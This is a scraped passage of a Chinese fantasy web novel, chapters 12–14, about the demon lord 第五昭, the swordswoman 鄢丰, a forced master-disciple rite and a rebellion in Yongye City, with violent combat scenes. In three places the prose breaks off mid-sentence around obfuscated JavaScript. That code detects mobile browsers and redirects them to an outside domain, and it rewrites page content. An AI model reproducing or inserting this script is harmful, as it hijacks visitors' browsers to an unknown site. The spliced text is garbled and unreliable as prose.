那人瞧出他有几分本事来,且战且退,竟拿出酒壶喝了口酒,笑道:“你这剑招,倒是还行,这么说还真是可惜咯……” 说着他拿一把双斧,抡着胳膊正面应战! 金石之声不绝于耳,衡枢只觉得力不从心,第一次恨自己眼睛看不见,否则此刻定不至于落此下风! 他的剑不是好剑,那人的斧子也只是普通的铁斧子,然而最终却将他的剑直直斩断,斧子却只多了个豁口! “——好本领!” 只听一阵树动的簇簇之声,随后是拔剑出鞘的铿然之声,一个穿着道袍的少女落在他身前,抱拳鞠躬,笑着道:“请前辈赐教。” 那人半天不说话,过了很久大笑一声:“好剑!” “你的斧子也是好斧子!” “哈哈哈哈哈哈哈!你是第一个夸我这斧子的人!” 少女挽了个漂亮的剑花,漫不经心地冲对方荡出一缕剑气来,爽朗一笑:“你也是第一个夸我的剑好的人!” “哈哈哈哈哈哈哈哈哈哈哈!” 那人哈哈大笑,手下却从容不迫的接下她这挑衅的一招。 少女咧开嘴,剑招瞬息而出! 两人显然棋逢对手,剑与斧铮鸣之声比方才更快上一倍! 那来挑战的少女竟仍似游刃有余,一边接招一边不忘道:“前辈,我若是赢了,可有奖赏?” “哈哈哈哈哈哈哈!这一战你若与我打个酣畅,输赢不论,我这埋了千年的青梅酒,就全送了你去!” “好啊,我倒是不爱喝酒,不过我有个师姐,”她出招更加凌厉起来,似乎势在必得的样子,“她爱酒成痴。若能得前辈得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557262|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馈赠,她定然要高兴地昏过去。” 两人都出招极快,却迟迟分不出高下,从黎明破晓直到日暮黄昏,一直没有停。 少女此时已然微微有些气喘了,剑招却丝毫不慢。 “小姑娘,还不认输?” 那人显然也是疲惫了,问道。 “前辈这是后继乏力了?” “我是怕这好苗子——”说着他双斧生风,带起得罡风连衡枢都觉站不稳了,“被这一战生生毁了!” 少女道袍翻飞,竟然一丝尘土也无。 “前辈,您用双斧想必已经很多年,可有见过我这——双剑?” 她分明只有一把剑。 她在空中一翻躲开那些罡风之气,分明右手使剑,此刻竟换成左手拿剑,战了一整天丝毫不显疲态,速度比之方才竟然更快! 两人此时都亮出绝技来,出招更让人应接不暇、眼花缭乱。 少女左手剑招与右手的路数截然不同,她却信手拈来,剑在左手右手之间游走变换不断,分明只有一把剑,却速度极快,仿佛两把剑同时在手上,瞬息之间逆转乾坤,对方措手不及,只得反攻为守! 那人也绝不是凡物,对方如此来势汹汹,他竟几息之间就调整好了姿态,再次攻上去,与那少女打得难舍难分! 两人体力都在耗尽边缘,谁也不肯再开口,只专心应战,使出全力——一招一式都可能决定这局胜负。 叶落风起,三更之声不断。 阴阳家门外,树影摇晃,月色衬出两个人影来。 他们相对而立,谁也不再动。 在场还有第三个人。 衡枢知道,这是已经决出胜负。 他却猜不出结果。 而那一天,月色之下,未有人见,大汉的双斧已然断了一个掉在地上。 另一个断了无数豁口,却正正抵在少女的颈边。 而那少女的银白长剑,一寸也不偏的指在大汉喉间。 天地静默,谁也不说话。 只有喘息的声音。 …… . 鄢丰怀念的笑起来:“如今忆起当年,还恍在眼前。” 衡枢转过身,似乎也回忆起了彼时的事情,突然道:“鄢道友,彼时初见,你是衡枢由衷敬服的人。” 鄢丰知道他的意思,却道:“过去的事情倥偬几百年了,衡枢,你与我,如今都不同了。” “早知那是你的枷锁,我绝不会找上你。” “我第一次听你说傻话啊,衡枢,”鄢丰叹口气,“宿命之存在,归根结底,你我众生谁都逃不过。” “我没有生死人肉白骨之能,鄢丰,再练一练左手剑吧,没有你往日右手的风采了。” 鄢丰摇摇头:“剑是守护之剑,从来没变,从今往后,只会更强。” “但愿。……什么时候离开魔域?” “再等一等吧。” 衡枢哂笑一声,只道:“待你离开,先去医家问一问看吧。” 他推开门,夜色将他清瘦的身影勾勒得清清楚楚,忽地吹起一阵风来,将他系在脑后的蒙眼带吹得飘起来。他身形很快不见,只留下最后的一句话—— “既然你已经想好了,那我就告诉你吧,鄢道友。” “——第五昭的心,正是那失落之地的镇地之宝。” . 12. 交缠(下) . 阴阳家乃是当世第一大预言世家,今日也井井有序的运行着。 阴阳家这届的最小的弟子荣嘉正准备去上早课,迎面却遇到正进门的衡枢。 自家少主,哪里都好,彬彬有礼,温文尔雅—— 这只是平日。 倘若赶上他心情不好的日子,触了霉头,少主表面上板着脸,一副为你好的模样,嘴里说出的话能让人当场眼前一黑。 上一回他就不幸碰上少主心情不好,说他近日功课不认真,要他抄《淮南子》五万遍,三日后交给他。 若是不做,那就是跟少主对着干,少主凡事亲力亲为,许多课程都是他亲自教授,得罪了少主,整整一年的功课都别想着能轻松躺赢了。 “少……少主好……” 今日听服侍少主的小厮说,少主出门时脸黑得肉眼可见,杀气腾腾不知道去了哪。 荣嘉觉得自己今天真是倒霉透顶,只能硬着头皮跟迎面来的衡枢打招呼。 衡枢却好像心情很好,白绫罗已经被鲜血染红了,他反而笑起来:“荣嘉,今天功课学得如何?” 荣嘉一听这话汗毛倒立,磕磕巴巴道:“……这、这不,起个大早要去上早课嘛……” “好好学,荣嘉,你们这届里,就属你最适合我们阴阳一道。”衡枢笑了笑,脚步轻快的同他擦肩而过。 荣嘉睁大眼睛,喃喃自语道:“……少主今天心情挺好的啊?” 正走到他身边的衡枢脚步一顿,荣嘉闭上嘴,战战兢兢看向衡枢。 衡枢竟真的点点头:“世间万物,无奇不有,瞧见了些有趣的事情——待你日后也将阴阳推演之术练得炉火纯青,自然就明白了。” 荣嘉看着衡枢的背影,暗自松了口气。 自打修了这阴阳眼,少主的脾气可真是越来越让人捉摸不透了。 . 魔宫这日守卫格外森严,巡逻的队伍都加了一倍。 更是有右使大人温石,亲自把守门前。 明堂之内,第五昭罕见的穿了一件白衣服。 第五昭眉头紧皱,对这身白得晃眼的十成十的感到不满,却因心魔誓的缘故不得不勉强穿着。 腰封佩玉佩红穗,叮当轻晃,金属云纹在衣服上既不扎眼又显贵气、精致。 这是温石亲自准备的,听说拜师礼的事情便找了裁缝做的。只因魔域的人大都爱穿黑衣,第五昭更是其中佼佼者,连一件白衣服也不曾有。 按照与鄢丰的心魔誓,他们要于今日行师徒之礼。 第五昭特意将包括温石在内的大部分人都支走,堂内只留必要的人服侍。 凡间的拜师礼,流程复杂,且多是学堂学子三五成群拜之。 虽然并无疑难的环节,一则多有繁琐,最重要的是,三拜的大礼第五昭无论如何都想拒绝。 好在鄢丰并不在意这些。 她当日提出这个要求,只在一点—— 第五昭造杀孽已深,做下的恶事早晚有一天会尽数应到自己身上,不在生前,便在身后。 拜师礼一成,鄢丰于第五昭便有了教养之责,便是崭新的一条因果线。 这本是一条强加的因果。 但鄢丰言出必行、一诺千金,既然应下苏琬绣,便尽心尽力,翘首以盼。 因果线既成,她身承功德命格,若他能从此改过自新,不再滥杀无辜,她便可以与他共担从前的罪责。如此,便可以减轻以后的报应。 而如果他仍然积恶成性,她便自斩断因果线,杀他证道。 这场拜师礼,流程倒是能省则省。 鄢丰高坐明堂之上,侍女阿浮端了净水来,恭敬递到第五昭面前。 他蹙着眉头,却仍是一丝不苟的取下手套,露出苍白的手来仔仔细细洗过、擦干。 净手净心,去杂存精。 阿浮轻轻福身离开,进来一名更年轻些的魔族少女。 她手中端的正是“六礼束脩”—— 芹菜、莲子、红豆、红枣、桂圆、干瘦肉条。 六礼各有内涵,此刻装在精致的小木盒里,她却不曾停在第五昭面前,竟直直走向鄢丰的位置,将那六礼杂粮尽数倒在她身上! 门口等待的阿浮看到这一幕倒吸一口气,捂住嘴巴不发出声音来。 第五昭饶有兴致的看着那位侍女,竟问了一句:“你叫什么名字?” 那侍女慌乱的跪下来,朝着第五昭磕头:“我叫小夜。方才不慎被凳子脚绊了一跤,这才冒犯了那位姑娘……请君上恕罪!” 第五昭不语。 鄢丰回过神,将洒出来的粮食全部装回木盒。 小夜半天没有听到回应,反而有些慌乱—— 君上乃是魔域至高无上的尊主,这个女人来历不明,竟不知因为什么原因,连君上也不得不对她卑躬屈膝!还行什么拜师礼…… 君上想来定是有迫不得已的理由,她却是看不过眼的。 然而此番自作主张,全看在第五昭如何说。 此刻他却没有说话的意思,小夜紧张起来,这才想起自家魔君喜怒无常、杀人如麻这回事,眼泪止不住的流,边哭边不断磕着头,口中喊:“求求君上饶了我这次吧,我、我真的不是故意的……求求您……姑娘,求求您,原谅我吧,求求您了……” 第五昭蹙起眉头。 鄢丰面色如常的捡起掉在地上的所有东西,将它放在桌上,才看向小夜,叹口气,温声道:“可有摔着崴着?” 小夜听了这话反而愣了半天,一吸鼻涕,仰头看向面前的女子:“……不曾。” “那就好。”鄢丰坐回去,道,“阿昭,束脩礼我已收到了,敬茶吧。” 小夜跌跌撞撞跑出去,换了另一位侍女进来,手中端着托盘,盘上放一盏茶,还冒着热气。 原本敬茶这一节第五昭也是坚决要省去的,只因敬茶也免不了跪拜,他当然不肯。 然而,敬茶乃是礼成的最后一节,至关重要,缺了这节便不算,心魔誓仍在,他即便咬牙切齿,千般不愿,也只得应下。 他接过茶,看向面前神色淡然的鄢丰,咬着牙跪下,浑身戾气压不住。 所幸屋里已经没有人了。 眼前这个人,她毁了万魔窟,他还不曾找她算账,如今有特特有这一番羞辱—— 第五昭低眉顺眼将茶举过头顶,正待将那滚烫的茶水洒在她手上! “堂堂魔君,竟低三下四,跪拜一凡人女子,今天倒真是来对了,叫我们瞧上了如此怪事——是吧,阿桑?” 第五昭手一顿,方向一转,那盏还乘着热茶的杯子直直朝向两位不速之客而去! “温石。” “……属下办事不利,请君上责罚。” “我道什么日子呢,闭门不出,感情自己也知道丢脸啊,第五昭,”来人是个明艳的女子,说起话来咄咄逼人,“坐不稳魔君这个位子,就趁早自己去死,让能人来当!” “能人?”第五昭阴恻恻笑了起来,抬起眼皮看向那人,突然注意到她身后的少年,恍然的点点头,“……哦,手下败将,也敢在我这里大放阙词?” “……你!你少废话!看招!” 那少女周身魔气暴涨,竟真不弱于第五昭几分! 第五昭却漫不经心的往前走了几步,一抬手便接下这招。 那少女也不意外,身形一闪,与他缠斗起来! 一时之间眼花缭乱,竟看不出谁占上风些。 两人魔气都越来越高涨,少女速度极快,面对第五昭的攻击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“倒是忘了你们……”第五昭冷冽的看着他们,五指咔嚓咔嚓动了动,魔气不降反增—— 鄢丰剑光闪了闪。 第五昭五指握得更紧,半晌,魔气终于收敛起来:“要么死,要么就——滚。” 那少年看他一眼,又看了怀中奄奄一息的少女,抿唇不语,迅速站起身,抱着她离开。 第五昭这才看向温石:“他这是怎么回事?” 温石摇摇头,凝重道:“属下差人好生看着,却没想到他会突然暴起……方才听巡逻的来报才知道,他将门口的侍女和守卫,能见到的,全都杀了。”顿了顿,他又跪下道,“属下办事不利,一放了人进来,扰了君上,二又没能看好温冥……” “你什么时候这么爱请罪?” 温石站起来,不语,眼神却朝鄢丰的方向看了一眼。 鄢丰似有所觉,同温石正正对视一眼。后者露出一个友善的笑来,鄢丰也笑了笑,道:“前几天我以血救他,今天他却突然发狂,神志不清,就是说……在他被带回来之前,就有人在他身上做了手脚。” 温石点点头:“属下以为,正如鄢姑娘所说。” “倘若他体内真有什么东西,阿昭,你不妨内视他经脉,瞧一瞧。” 第五昭垂眸,似在思索。 “——君上!君上!!” 寂静之中,这凄厉的哀声竟显得分外刺耳。 三人同时朝向来人看去。 那小侍卫跌跌撞撞跑进来,还没迈进门槛就倒了下去,他腹部鲜血淋漓,甚至有些内脏还在不住的往外流出,木质地板带出一路血迹,分外可怖。 他只来得及说出最后一句话—— “君上,永夜城,反了。” . 13. 叛军(上) . 夜晚的金陵城最美。 灯火辉煌,亭台楼阁,河灯石桥。 行至长街尽头,高楼闪着金碧的灯,彻夜不歇。时不时有身着锦缎、气质非凡之人往来其中,内里歌舞升平,人人闻之艳羡,人人皆想进而一窥。然而,只有那最富贵的人,才有资格一掷千金,获得进入这里的机会。 ——这里便是金陵第一大商行,摘天楼。 传闻,这里的主人是为翩翩公子,也有人说,是大腹便便的一个老头子。众说纷纭,只因他从未露面过,却每每能在商场生意上搅弄风云,手段雷霆。 他有一名曰,舒泓。 进入这锦绣桃源,缓步上楼,三层转角,是摘天楼最大的雅间。 而今日,舒泓便宿在这里了。 紫衣青年一手握着把折扇,上绘水墨江山,似出名家之手,一手托着腮,撑在窗子边,轻挑珠帘,百无聊赖看着长街来往的人群。 他一身紫衣更显贵气逼人,鎏金纹样分明豪横土气,穿在他身上却半点儿不嫌,反而更让人不敢靠近、珠光宝气的模样。如墨的长发一泻而下,衬得眉间那一点朱砂分外亮眼。 他原本哼着歌,声音温润好听,如鸣佩环。半晌却突然停下来,踱步到房内,抿了一口茶,蹙着眉喃喃道: “……我的心头血竟失效了?这怎么可能?!” 握着茶杯的手指泛了白,他神色变幻莫测,似乎下一刻便要朝着谁发作——哪怕这房间根本空无一人。 叩门声响。 “少主人,有您的信,照例还给您放在外头了。” 紫衣的青年一合折扇,回过头,竟还是笑眯眯的模样:“不必,今日差人拿来给我便是了。我急着瞧呢。” “嗨,原是有急事。您等着,咱这就给您拿来!” 门外的人轻车熟路,半点儿异样都没发现。 青年打开那装订严密的信笺,上面仍是熟悉的流畅飞舞的行书。 看了半晌,他眉头蹙起,神色让人瞧了不寒而栗:“那没脑子的家伙,运气倒是很好嘛……” 他抬头望向窗外,修长苍白的手指衬得灯烛火焰格外鲜活,待火舌将信纸吞噬殆尽,他却忽然咧嘴笑了起来: “有趣。如此一来……”阴郁神色忽而一扫而空,“我倒想亲自去会一会,他身边那位了。” . 自打第五昭杀了他父亲上位,他在任几百年间,其实民间的声音始终褒贬不一,更是有他父亲的旧部仍在暗处蠢蠢欲动。 这些,在温石是心知肚明的。 第五昭刚从万魔窟爬回来那一年,他是实打实的想过要摆平这些麻烦的。 然而,第五昭自从回到魔宫里,便日日夜夜歌舞不断,沉迷享乐,且脾气喜怒无常,即便温石与他的关系实则远远超过下属与上司,也常常被第五昭掐着脖子,寒声让他莫再多管闲事。 温石没有办法,便只能作罢。 一晃几百年,这些势力显然不是偃旗息鼓,而是…… 养精蓄锐,伺机而发。 早知有这样的一日的,不仅只有温石。 但谁也没想到的是,最先反的,是永夜城。 永夜城下,飞沙滚滚,遍地的血污似乎还昭示着不久前的惨烈战争。 或者也可以说是,一场单方面的屠杀。 战鼓声好像还响在耳边,然而人们抬起头便可以看到,那高悬城头的,不是什么旌旗,而正是他们年轻俊美的前任城主,余砯。 这位前任永夜城城主大人,虽然平日不大管事,遇到与百姓息息相关的大事,他却也不遗余力。虽然不至于同人们打成一片,真正受人人爱戴,但也绝对说得上是称职的。 永夜城不大,治下大多是凡人或者是魔力较弱的人,而管理这样的城市在魔域实在算得上清闲;这位城主大人自己也颇喜爱人间烟火,因而常常在城内举办人间的各类活动,平日神龙见首不见尾,全是游戏人间去了。 然而,前些日子,那负责看守照顾永夜花的阿玲一家四口,竟被从天而降的魔君大人莫名其妙的杀了。 死状惨烈,鲜血几乎流出门来。 城主知道这事,打听了来龙去脉,好容易才从右使大人温石那里知道,那一日永夜花异动,君上还被人算计到了虚空之地去,他自然是震怒之下,才将阿玲一家全杀了。 余砯跑去主城要讨说法未果,回来突然整备了军队,暗中投奔了一伙反动势力。 原因不明。 然而城主死前,眷恋的看向他的子民,悲壮而苍凉的笑起来: “凡人不比魔族……大家若不想做那刀殂之鱼,唯有拼死一战啊……余砯,再无力护列位安危,愧对永夜城子民,千百年的信任啊……” 终是死不瞑目。 . 而此刻的永夜城城主府之内,自然已经换了一拨人。 第五昭带着自己的军队闯进来,碍于那个心魔誓,屠城、抄家的念头只起了一年便觉得心中绞痛,忿忿作罢。 只得暂且将府内人员就近送进牢狱,再等候发落。 第五昭并温石、鄢丰便在这里住下了几日。 偶而当然有城内余砯的旧部或是受恩于他的人不自量力来刺杀,尽数被温石斩于剑下。 而更多的,蠢蠢欲动的组织,或是躁动不安的百姓,在他们进城里那一天哭嚎、求饶,或是奋力抵抗的,都在发现第五昭并无屠城嗜杀行为之后,渐渐偃旗息鼓。 城上高高悬挂的头颅还怒睁着圆目,万箭穿心的死状也仍历历在目,杀一人以儆天下,足矣。 人们仍然压下心中的恐惧,忘记短暂的战火,若无其事的再次运转起这小小的社会。 鄢丰此时走在大街上,熙攘的人群和上一次并无两样。 好像回到从前的那一日,好像残酷的争执只是一场幻梦。 第五昭同温石正搜查城主府的来往信件,在温石轻飘飘递来一个眼神之后,鄢丰自觉地走出来,只能漫无目的地转一转。 她此刻其实并无心情观看街边的热闹,仍不断回忆着余砯跪在城外,仰天长啸的悲壮。 忽而,衣摆被人拉住,往边拽了拽。 鄢丰一愣,低下头去,却见到一个小姑娘,睁着水灵灵的眼睛看着她,脸蛋却脏兮兮的,怯生生问: “姐姐,买朵花吗?” 鄢丰目光柔和了几分,笑着蹲下身:“好啊,你为我选一枝,好不好?” 小姑娘眼神雀跃起来,手上麻利的剪下花枝和花刺,将几枝花拿小细绳子缠在一起,红橙黄绿,煞是好看。 她期待的将它递给鄢丰,朝她眨眨眼:“一共十文钱,姐姐。” “谢谢,”鄢丰也笑起来,将钱数好递给她,接过花,“这是你家自己种的花吗?很香呢。” 小姑娘骄傲的挺挺胸:“是我自己种的呢!才不需要爹娘帮忙!我挣了钱,拿回去给爹娘和妹妹买好吃的。” 鄢丰摸摸她毛茸茸的脑袋,她却好像很喜欢她,继续道:“姐姐,你见过永夜花吗?” 鄢丰却一愣。 小姑娘却仍然兀自说道:“……以前啊,我有个朋友,她可会侍弄花草了,很多事情都是她教给我的。城主大人……啊,是那位前城主,也很喜欢她,所以特意赐她去禁地侍弄永夜花。” 鄢丰手一顿,握着花的手收紧,没去干净的花刺扎进了掌心。 “所以呢,有一次,她偷偷带我去了,让我有幸见过永夜花开花一次。” “……那你那个朋友,现在怎么样呢?” 小姑娘撇撇嘴,说:“爹娘都骗我说,她不喜欢我了,所以一家人都搬走了。……可是,”她低下头,看不清表情,语气竟很平静,“那一天,血都渗到隔壁了,谁都知道,他们家发生什么事情了。” 小姑娘忽然抬起头,看着她,一字一句道:“姐姐,那一天,我看到了你。” 鄢丰只觉得一阵寒气从脚底上升到头顶,一击重锤敲在心上。 “我知道你想救她的。所以,姐姐,你能不能帮帮我,能不能……”她抬起头,清秀的脸上早已涕泗横流,泪水止不住流,声音哽咽颤抖,却字句清晰,恨声道,“能不能替我的爹娘报报仇,回去那个城主府——杀了第五昭啊!!” . 鄢丰直到日暮西山才回去,几乎失魂落魄。 她正待将手中的花束安顿好,再接点水来,盼着能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557264|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多养活它几日,却正正遇上了行色匆匆的温石。 后者看到她竟露出几分欣喜来,拉住她袖口,喜道:“鄢丰姑娘,属下等了您半日,总算还是在走之前碰上了您。” “等我?” “不错。”温石点点头,含糊道,“属下另有任务在身,大约有一段日子不能呆在君上身边了。姑娘既与君上有了师徒之谊,属下不在的这些日子,还希望姑娘能多照拂着些……君上他毕竟,年纪轻,却又遭逢劫难……” 鄢丰蹙眉:“你们可是查出了什么蹊跷?” 温石犹豫片刻,最终还是坦言道:“……不错,今日属下与君上共同探查那叛贼余砯的书房,果不其然发现了他与叛党勾结的证据。” “还有其他的叛军?” “如今魔域形势复杂,三言两语属下也无法同姑娘言明。只是,那书信屡屡提及后山永夜花禁地之事,似有隐秘,而君上经上回的事情已然发现端倪,此番来这儿,还是要去查探一番。” 鄢丰疑道:“若真是来往的书信,如此隐秘之谋,都该是阅后即焚。何况……” “何况,若是叛党作乱,永夜城该当是——被放弃的那枚鱼饵才对。” 鄢丰闭了闭眼。 永夜城烽火连天三日不歇,显然似乎有同伴在附近。然而永夜城军众苦战三天三夜,却仍久久无援军来此地。 永夜城,原是一枚弃子。 ——如果后山的永夜花真的事关重大,涉及什么有用的机密信息,必然不可能堂而皇之的被告知给余砯,还留在了他的书房内! 其中必定有诈。 温石对上鄢丰的眼神,不无赞许的点点头,继续道:“属下也正是这样想。可君上,君上他……”温石叹口气,“君上他毕竟还是血气方刚的年纪,即便知道可能是陷阱,也硬是要闯一闯去。” 温石一撩衣摆跪下来,朝她作揖一拜:“几日来,温石对姑娘多有观察,得罪了。但温石知道,姑娘看似寻常,实则却有非凡之能,姑娘身为正道修士,既肯同君上结师徒之礼,温石恳请姑娘,若遇危机,姑娘能助君上一臂之力!” . 是夜,第五昭再一次踏上通往永夜花盛开之处的青石阶。 “你跟来做什么?” “你我既已行过拜师礼,我管你岂不是理所应当的事情?” 第五昭轻啧一声,对有关于这件事的任何一点记忆都不想再次想起:“多管闲事的教训,看来你还没尝够——你不是左撇子吧?” 今日空中飘着些许白雾,他似有所指的看向鄢丰悬垂在半空的右臂。 鄢丰笑了笑,口中说出的话却正中他的痛脚:“我却只觉得后悔,没能早点逼着你,与我立下那个心魔誓。” 第五昭脚步顿了顿,咬牙切齿,却竟似说出一句预言: “鄢丰,我杀不掉所有的人……而你,也救不了所有人。” 这话被吹散在风里,鄢丰却愣在原地。 直到白雾散去,黑雾一点点取而代之,最终竟一层一层加深,远远看去几乎成了纯黑的夜色,浑然一体。 “阿昭,看来这正是在这里等着你来的……真的不等一等温石么?” “呵,”第五昭轻蔑的笑了笑,“从来是我救他一命,却从来没有哪一次,我需要他来帮。” 鄢丰长叹一口气,却道:“也罢……” 诡异的安静铺展到整个山脉,脚踏上那黑色土地的刹那,便听到耳边风穿过发丝的声音! 随即而来的便是细长的花蕊丝,和疯长的巨型永夜花! 与上一回,如出一辙。 第五昭毫不犹豫,直接将魔气运至十成,一面护住身体不至受禁制反噬过大,一面化气为刃,利落削断周身一圈的永夜花! 奇怪的是,这花似乎受了损伤一般,被削断后竟没有如上次一般再次长大重生,反而怏怏地歪在地上。 前行一条路,正是那少女阿玲过去开辟过的。 一切似乎无比顺利,又似乎—— 是故意牵引着他们,向这山顶深处腹地而去。 而千里之外,她悉心插进花瓶的那束花,已然悄无声息的,呈现出枯萎之色。 . 14. 叛军(下) . 黑夜似乎总是与危险相伴,譬如此刻,即便已经有了九成的把握确认此地永夜花的异常是人为所致,然而,随着一点一点的深入,密密麻麻的花几乎摆成一个防守强大的阵型,更是一次又一次的顽强再生。 此刻第五昭和鄢丰两人都已经有些微微气喘—— 论体力,两人当然都是上佳者。然而,这永夜花的禁制,据说要追溯到睚眦被贬后不久,由一位上神亲手设下的。 非许可者不可得。 而如今,知道那所谓的许可条件的人,或许已经无人存世了。 每斩断一朵花的根茎,禁制带来的压迫直逼神魂之中。即便周身有魔气护体的第五昭到了现在也感到了力不从心。 可永夜花却似乎永远不会疲惫,要将来者尽数拖入永夜。 鄢丰脑中飞速思考着解决的对策,一面机械的斩断眼前张牙舞爪的花,身后却黑影一闪,淡黄的花蕊丝悄无声息缠上她的腰! 鄢丰心下一惊,毫不犹豫挥出剑,同时快速后退三步。 正正与第五昭背靠着背撞到一起。 他们难得默契的同时回头对视了一眼——不知不觉之间,两人已然被这缠人的魔花逼入一个狭小的圈子了! 鄢丰深呼吸一口气,道:“这样下去,我们早晚都要死在这里。” “不用你说——” “然而,世间万物相生相克,它即便如此也不可能没有丝毫弱点。” 第五昭不语,解决掉眼前的麻烦,微微后退,与她背靠着背,似乎在等待下文。 鄢丰无奈道:“这是你们魔域的花。” 第五昭冷哼一声:“如果想不出来解决办法就闭嘴,倒能省点力气。” “你是不是有什么事情没告诉我——关于永夜花。” “……比如,永夜花不被允许采摘的真正理由。” 第五昭才想起什么似的,道:“啊,你说这个。”他突然慢下来,蹙着眉看着眼前的花。 对于永夜花,实在是没什么杀生的实感。 没有哀求、嘶吼、鲜血,没有感情没有生命,杀了无数次也能死而复生。 第五昭第一次觉得破坏也能让人如此烦躁,机械性地重复着动作,最终对鄢丰说道: “不错,它有禁制地原因是,永夜花是上好的,提纯魔气的容器。” “看来我猜的不差,”鄢丰喘着气,擦掉脑门上的汗水,甘镬剑银光闪闪,“它本生根土壤,如今却能自由行动,证明它依靠的另有其他——就是魔气。” “我猜,魔气就是它的动力,一旦魔气耗尽,它就无法再生。” 第五昭蹙眉:“怎么可能?这么长时间,不可能魔气不能耗尽。” 鄢丰道:“阿昭,从现在开始,你先不要出手。” “……你想让我死,也不用挑这种场合吧?” 鄢丰不语,却用行动回答了他。 她行动竟然比之方才更快,瞬息之间已然将四周一圈的永夜花尽数斩断,那魔花也不甘示弱,不断地再生。 然而不过两轮,四周地花竟肉眼可见地少了许多,东倒西歪地无力地瘫在地上。 鄢丰这才长出一口气:“看来我猜对了。” “什么?” “这魔花能吸取魔气为自己所用,天地之间地魔气未经提纯,需要时间转化;但这里却还有另一个源头——” “就是阿昭你自己。” 第五昭恍然,点点头,却很快又偏过头冷哼一声:“啧,你哪里……” 话音未落,魔花竟再次拔地而起! 起势比方才甚至更大更凶,鄢丰正欲再次斩断,却见天光竟微微亮了起来,魔花的速度也变得缓慢。 疑惑之间,鄢丰霍然回头—— 两人身后的永夜花不知何时已然退去,此刻,浩浩荡荡朝他们来的,竟然是数不清的人! 来不及疑惑,只因冲天的魔气只一瞬间便将方才诡异的天光盖得严严实实,巨量的魔气让鄢丰几乎难以呼吸。 而面前这浩荡的人群,在第一眼看到的时候鄢丰便知道,这是永夜城的居民! 他们个个双眼无神,却散发着难以驱散的黑色魔气,手中拿着尖锐的武器,或是屠刀,或是斧头,一步一步,似乎索命的鬼差。 身后,永夜花受了这些魔气的滋养也不断壮大,蠢蠢欲动。 然而似乎受到什么人的控制,不再步步紧逼。 而身后的人群,却越来越近,避无可避。 进退两难! 第五昭不耐烦的啧了一声,浑身也升起魔气,可他本身就与永夜花缠斗受了伤,又有心魔誓的牵制,此刻几乎动弹不得。 鄢丰看他一眼便知,沉默的提起剑,强大的剑气竖起结界,将两人笼罩其中。 . “满月夜那一日,你在万魔窟前拿剑指着我的时候,杀气不是很足吗?” 安静而诡异的夜晚,原来刚刚拉开序幕。 鄢丰此刻失力的半跪在地上,左手颤抖的脱力,甘镬剑颓然落地。 他们已然与这些被控制的诡异城民纠缠了两个时辰,第五昭被心魔誓搅扰得躁动极了,却报复似的看着鄢丰站在自己面前,将身前身后的障碍扫清。 但是,这种无聊而恶心的戏码让他看得烦了,而此刻只有一个念头死死占据着他—— 饮血、杀人。 鄢丰低着头,阴翳隐去她晦暗不明的神色,她声音有些沙哑,道:“两个时辰,你若是不耐,早就可以走。” “哦,不耐,怎么会呢,”第五昭如痴如癫的笑了笑,魔气挥去靠近的人,走到鄢丰身边,状似漫不经心的捡起那把掉在地上的剑。剑不满的嗡鸣,散发出灼烫的灵气以示抗议,第五昭却浑然不觉一般,生疏却凌厉的挽了一个剑花,“我真想再多瞧一瞧,你这救世主的感人剧场……” 他不知何时,指甲再次长得很长,眼睛变得猩红如血,长指甲划过她脸颊受的伤,发狠的使劲儿,让鲜血更多的流下来。 汹涌的魔气将周身一切干扰隔绝,竟似情人间的幽会,寂静绵长,无人打扰。 他怔怔看着鲜血流下脸颊,突然低下头,中指和拇指捏住她的下颚,贪婪的伸出舌尖儿,带起酥麻的痒意,将她脸颊上流下的血尽数舔舐干净,凑在她的耳边,恶劣的笑。 “我从不用剑,这大约是,第二次?但我一定,比你用的更好……” 杀气陡升! 方圆百里的生物无不胆寒,他站起来,撤去结界,冷静的眼睛将疯癫展露无余。 失控的人群再一次跌跌撞撞抱着团朝他而去,刹那间铺天的魔气笼罩了整个山顶,也包括那柄甘镬剑—— “鄢丰,剑,是拿来杀人的。…杀招——”他毫不犹豫,剑锋毫厘不差,贯穿面前人的心脏。竟正是不久前她曾在集市上见到的卖花姑娘! 鄢丰瞳孔骤缩,第五昭神魂受到重创,天道的力量要撕毁他的魂魄,谁都无法违抗! “该这样出!” 他却快意的喊出最后一句,力量渐渐被抽离,他反而愈加疯狂,一浪高过一浪的魔气将眼前这碍眼的人群尽数—— 斩杀! 他这才支撑不住的被迫跪在地上,甘镬剑嗡鸣着飞回鄢丰身边。 心口处传来一阵剧痛,分明早已没有了心,却在此刻与他神魂共鸣。无形的力量朝着八方拉扯撕裂他的魂魄。 这便是心魔誓,从古至今,无人能违。 “哈哈哈哈哈哈哈哈哈哈哈哈哈哈!” 第五昭大声笑了起来,分明隽秀的脸上竟显出几分扭曲来,最终他竟然站了起来,神情兴奋而激动,濒死的感觉带来阵阵心悸,却都被此刻的一切盖过。 